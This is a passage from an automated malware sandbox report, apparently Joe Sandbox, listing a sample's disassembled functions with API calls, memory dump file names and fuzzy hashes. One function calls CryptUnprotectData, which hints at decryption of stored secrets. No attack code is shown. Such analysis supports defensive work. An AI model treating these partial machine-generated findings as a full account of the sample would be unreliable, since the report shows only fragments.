Instruction Fuzzy Hash: DB41F770A00A28AFDB24DB58CC99F9BB7B4BB48702F4041D9E608EB290D7716E85CF50

Function 00089B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00089B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00089BA3
LocalFree.KERNEL32(?), ref: 00089BD3

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: ba4bf3870d31db20cdaf6212d9014d7613d7ceb9060ef120a9cb6ba0e06b528c
Instruction ID: 4c789bd576edd47d429ae074f4e2edc2e5997c8090405b94ae8a95450a04800b
Opcode Fuzzy Hash: ba4bf3870d31db20cdaf6212d9014d7613d7ceb9060ef120a9cb6ba0e06b528c
Instruction Fuzzy Hash: 6611A8B4A00209DFDB04DFA4D989EAE77B5FB88304F104558E91597350D774AE10CBA1

Function 00449CFB Relevance: 2.9, Strings: 1, Instructions: 1623COMMON

Download Yara Rule

Strings

'f/, xrefs: 0044A4FA

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'f/
API String ID: 0-129831727
Opcode ID: 09b24a2503248853ef87423460e1c2b54273d54d29293a84604ede4cc89ffe02
Instruction ID: 5f85f748e71590a4198543a97579733b73ec601cc8355374edf16c1a42c042d7
Opcode Fuzzy Hash: 09b24a2503248853ef87423460e1c2b54273d54d29293a84604ede4cc89ffe02
Instruction Fuzzy Hash: 7BB22BF3A0C204AFE704AE2DEC8577ABBE9EB94320F16453DEAC4C3744E93558158697

Function 0045957D Relevance: 2.2, Strings: 1, Instructions: 950COMMON

Download Yara Rule

Strings

Y!}, xrefs: 004596E9

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Y!}
API String ID: 0-1495517983
Opcode ID: 38cc195ace011716ce3f4ddcb24f6300a8a6bb5930552daf220efb8df081d1a8
Instruction ID: 281d0be4ab5ac0afe525990387e9e9a7526bda31fa1dfd58079c47b4f3808043
Opcode Fuzzy Hash: 38cc195ace011716ce3f4ddcb24f6300a8a6bb5930552daf220efb8df081d1a8
Instruction Fuzzy Hash: E852F6F360C2009FE304AE2DEC8577ABBE5EF94620F1A853DEAC4C3744E63599058697

Function 0042E240 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

!y{n, xrefs: 0042E335

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !y{n
API String ID: 0-69970170
Opcode ID: 874926a40bc695dd0dafebd87a51881a4744054cadd4c14b6da697486660263e
Instruction ID: 52bea15aeeb1b0e4750eab6eac15e8685fe0d56d66fd3315479c821e88714771
Opcode Fuzzy Hash: 874926a40bc695dd0dafebd87a51881a4744054cadd4c14b6da697486660263e
Instruction Fuzzy Hash: 1A6128F3B082006FF3086969EC59B7B77D6DBD4320F16463DEB8AC3780E87558058296

Function 00443330 Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

anc~, xrefs: 0044344C

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: anc~
API String ID: 0-435866895
Opcode ID: 1f13f18fc4aabbf3847c5532115a953c9c82549d83bed42085b246f80f7d854e
Instruction ID: 3858fd35b48e791749f87fcc4c84f82c67e4284aa16fcb196d0abf4bb0342174
Opcode Fuzzy Hash: 1f13f18fc4aabbf3847c5532115a953c9c82549d83bed42085b246f80f7d854e
Instruction Fuzzy Hash: 065136B3A182149FE304BF2DEC85BBAB7D4EF94710F0A493DEAC4C3740E97499048696

Function 0038BF62 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

t4m, xrefs: 0038C0C3

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: t4m
API String ID: 0-1470551393
Opcode ID: 15f9df6ab923aa0415e64fae402c1eb0792091f003504472e86df6d98e6a2281
Instruction ID: 78c5590eb286d5617dfa0f5923d19a23224d9f60d067bda8f5bb82e7f7f37962
Opcode Fuzzy Hash: 15f9df6ab923aa0415e64fae402c1eb0792091f003504472e86df6d98e6a2281
Instruction Fuzzy Hash: 64519FF39087149FE3107E19EC8576AFBE9EB94320F1B492DDAC883340EA7558448797

Function 003FE546 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c31e7e14ee40f2bc265a11a4067a0773529b107535d59cd427307e2ea184409
Instruction ID: dacd750cc887fad6802b9a25b3c2dcff418ee9a6a3c792dbdb2d8d2720f402b4
Opcode Fuzzy Hash: 7c31e7e14ee40f2bc265a11a4067a0773529b107535d59cd427307e2ea184409
Instruction Fuzzy Hash: B65126F3E086184FE3046A3DDC88336BA99DB94320F2B873DDE98977C4E97919448281

Function 003ED698 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2989e8bd46d6a0a736c81c589b828d947bfb7a7d2e5ba83ca2a25822237e2867
Instruction ID: c8484433e9938ccb66e67bc6397bdc97bc9c08919cd15b6158c3f6e2dc9f3e26
Opcode Fuzzy Hash: 2989e8bd46d6a0a736c81c589b828d947bfb7a7d2e5ba83ca2a25822237e2867
Instruction Fuzzy Hash: 4C5145B26083089FE308BE2DEC8577AF7D5DB90710F0A853CDAC487744FA35A9158687

Function 004273C4 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 763c4e15c1690abfdbb798089345c1704b90078a1f19ac4805925b0307e0ba1b
Instruction ID: 258711f4fe6444757cc02c9235391e0ead947fce26558c66adcb855934484fcb
Opcode Fuzzy Hash: 763c4e15c1690abfdbb798089345c1704b90078a1f19ac4805925b0307e0ba1b
Instruction Fuzzy Hash: 955114F3A087149FE3046E29ECC566ABBD9EFD4760F2B863DE6D497340D53948018782

Function 0033512E Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62a5843d9c34820c897cf532d0a037371490d7953527180a91869ad6d61a2abd
Instruction ID: 071fb9c24a8b04990dc219a8e240f8fd2df28bf6010536393c004643a26e46f0
Opcode Fuzzy Hash: 62a5843d9c34820c897cf532d0a037371490d7953527180a91869ad6d61a2abd
Instruction Fuzzy Hash: EE51B1F3E085105FF3046A29EC4577BB7D6EBD4320F1A463DEAD893780E9399C058696

Function 0039F792 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 416fb05ab863a4fb1250bf2a33698c6ebd4e9719298f9c1ad38de386fc2dedba
Instruction ID: 01b042ca2ca4443adb105b299cb5e0d0113af665bbb0909c1fbba7381433e107
Opcode Fuzzy Hash: 416fb05ab863a4fb1250bf2a33698c6ebd4e9719298f9c1ad38de386fc2dedba
Instruction Fuzzy Hash: 035102F3F186000BF304593EEDC6366B6D7EBE4320F2B423D9A99C7784E87A48064186

Function 00434F2E Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af0ca970d46086689ddeea6465da576a17b742ba19458afe68072b1778e07ac4
Instruction ID: 05fa221571c1e30b9e2dff1b15327e39e0efefb97b5a88372ce0f7e8b9fb8ca8
Opcode Fuzzy Hash: af0ca970d46086689ddeea6465da576a17b742ba19458afe68072b1778e07ac4
Instruction Fuzzy Hash: C95139F3A082009FF3545E19EC847AABBD6EBD4320F16463DDB98C73C0D93E58058696

Function 004F41B3 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22b6e17d758bf08d203e4935fbdddf3ed8b57cc58d66fe990f147a79d0944d7c
Instruction ID: b00097125d594c8825a3888727e676e0ef1b19122fc487ff07b1a698c2a8aace
Opcode Fuzzy Hash: 22b6e17d758bf08d203e4935fbdddf3ed8b57cc58d66fe990f147a79d0944d7c
Instruction Fuzzy Hash: 8A2150B210C6049FE319FE69DC86BBAB7E5EF48321F02492DE6D5C3750DA3594408A97

Function 00099750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
